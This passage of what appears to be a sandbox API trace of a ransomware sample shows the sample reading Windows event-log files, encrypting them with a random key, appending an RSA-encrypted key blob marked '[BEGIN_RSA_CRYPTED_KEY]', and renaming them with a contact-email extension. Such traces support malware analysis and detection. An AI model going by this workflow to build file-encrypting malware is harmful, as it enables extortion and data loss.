pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0128.106] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0128.107] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0128.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0128.107] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="nhO8k26p3JsqMYVBEdMyg4ehzX0QPlLJWvcgVQJPpNqxhYPm5LyKxs+931tTZObz\nEzatH4qeVmVFCEU6SDdjebxJD4vw3Kqy7NBFK3uNVmnWyHs5Kgn9I38G7ebIKyLX\nqOhQxUvw/D9kEELp8BpkGriN6b56Lbepo3j4Hx5/wbMHXkxcqEhB4MOpY4OLf4Mz\nxqvr5FDhLlZu0lRYMYHTl41Aj9UGUQGYjLPUy0dPXV8buq6d3CRnWpt6Gzy6o13t\nWpXLVGWBfU/G+45C7qOOjJxO+nqlVQq8xksbGpD3W5Xebov6VFgSCheyg0S4Otu2\nOpJeaWzkU+Fpz9ANBww6XQ==\n", pcchString=0x2e3f9a8) returned 1 [0128.107] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0128.107] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.107] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.107] CloseHandle (hObject=0x460) returned 1 [0128.132] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0128.132] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0128.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0128.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0128.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0128.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0128.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0128.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0128.139] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0128.139] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0128.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0128.143] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0128.143] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0128.143] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0128.143] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0128.143] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0128.143] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0128.143] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.191] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.192] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0128.193] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0128.195] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0128.195] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.195] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.195] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0128.195] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0128.196] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0128.196] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0128.196] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="n68Wv5OgLcBaBbAtCB4W6fUhwPFLVMCJ4odKS//gRZfPjmLJJgdpRAxoG/TONH3+\nhc/OrVmX8kMmdheMOiEGXZvmHJdp+aHX4a5kRR6dhsHNULFClud5wH23Bpt51jns\ndGKl4j31s0Iequ5E+as4Wifyxvh+ZcIkZmdoDDkRcipWPZcfajTmwLISNDrIOp0R\nO+1+1YnRe8aL8Vb217lLt+kQqsW2EobsX+pmsJMV0MVgEBSW6E6r5u3oAOoAGFOx\nkKNJWWcPc+qE77EmX4Z939+bVIm7R8a1DKlPKkPtv03J3yniUjt0TYglqIv/I6tt\nDEsnH1aQGtEgvcMW5wuHjA==\n", pcchString=0x2e3f9a8) returned 1 [0128.196] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0128.197] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.197] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.197] CloseHandle (hObject=0x460) returned 1 [0128.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0128.198] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0128.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0128.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0128.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0128.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdf10 | out: hHeap=0x570000) returned 1 [0128.201] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdf10 [0128.201] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0128.201] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0128.201] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0128.201] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0128.201] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0128.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0128.201] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0128.202] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0128.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0128.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0128.202] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.215] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.215] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0128.216] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0128.218] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0128.219] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.219] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.219] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0128.219] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0128.220] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0128.220] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0128.221] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="VLrgnNAQGKB97N8R3cuLWKOroqoljlM2jYImLPxQMw2fl2fv/UnRsfNH2TzPdwKk\nYQ1NO/0ZyxY4rUQyEicZeMuykEvBYxzA1tY6Ur486sChk3wmmx9hmukYmTJhImYg\nVwck9mEymddXI1Zo2i8LDTpQHnQSz1hEQrssIjdf94SGUpiKjQGpa6wQhkbpkioi\nlmVWv+D9/OxtzsU8MhTKembHq25uHnCAmckCLtza3f5fiEz7H7g5Sr/h6GUJRt0/\nFOvxXKvLLzDxNeyTD7lb0FpoV9O+SwVA7iX7p1uq5yw7wbSlM9jcfEWwsF6Z1x7p\nHLLoV3SmrRipRQwk6ivjIA==\n", pcchString=0x2e3f9a8) returned 1 [0128.221] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0128.221] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.221] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.221] CloseHandle (hObject=0x460) returned 1 [0128.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0128.279] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0128.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0128.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0128.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdf10 | out: hHeap=0x570000) returned 1 [0128.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0128.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0128.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0128.282] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0128.282] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", dwFileAttributes=0x80) returned 1 [0128.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0128.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0a58 [0128.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0128.283] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0128.283] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0128.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0128.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0128.283] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.390] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.390] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.391] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0128.391] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0128.392] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0128.392] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.392] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.392] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0128.392] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0128.394] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0128.394] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0128.394] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="K+Fp2FfHfJ4EA0c7Q2EmX0hPLVc83HLmoaUswufhNFtDvikpGgumzgcz2TG/EZsJ\nWSKME1rXijceDBNYdvJNmKdk9dgQv7t/cXPUMLm+oNUG1fMbhP7prkaJ1L+oFG7P\nnMB5IgpiNRFbQW0sbZc4vE7HZSxyg0zv3037dSI5fMxFQ/zk9o4I0KPw456pWXg7\ngDqSC9P//Vc0rtxai3lW4IWsOMbCObykDBvdyVR+IqkHXgN3g39L1warYXdD+Sg9\nfbWADQRd3F6dfiJl3sB2WCfjbzjKb3z+t37L5U5hLiAHqN2Lxs4IVXjHqStaIwV2\nKw44joY+LzRNfdlMIyV1IQ==\n", pcchString=0x2e3f9a8) returned 1 [0128.394] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0128.394] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.394] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.395] CloseHandle (hObject=0x460) returned 1 [0128.396] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0128.397] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0128.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0a58 | out: hHeap=0x570000) returned 1 [0128.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0128.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0128.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0128.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0128.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0128.426] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0128.426] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", dwFileAttributes=0x80) returned 1 [0128.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0128.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5afcd8 [0128.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0128.426] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0128.426] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0128.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0128.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0128.426] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.450] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.450] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0128.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0128.452] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0128.452] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.452] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.452] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0128.452] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0128.454] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0128.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0128.454] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="0k87fBaa8bMIbIoFxJS1WER8KJSEmP8TqGka6c761gh4DbaBDxDFl9VjGD/sJH/W\nZmZir4hmpkHrvsLoEMQbYZs4Mafyi05+y8gg+hNAjRWu7jd12MESHAb+Hu+2h79n\nyWNX861SS26k3GrwNQso6ByRk0B6WXNnMKP1ctBFTpryW1JpfTNevgJdN6OBPHyv\nm0fzNbCUX9+GBdV8PsxjvuCnLgsOAcARLCC8VDJstpBtusPP8CiCw3OxV476PqhZ\ncYbjEQWT8URvTZIuW/vhorJD08xVDOOlkp3TqlT5gv/It55kXhMDvTPX5NnyRq1h\n55n99mcxLrMQnrMDPdX6ow==\n", pcchString=0x2e3f9a8) returned 1 [0128.454] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0128.454] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.454] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 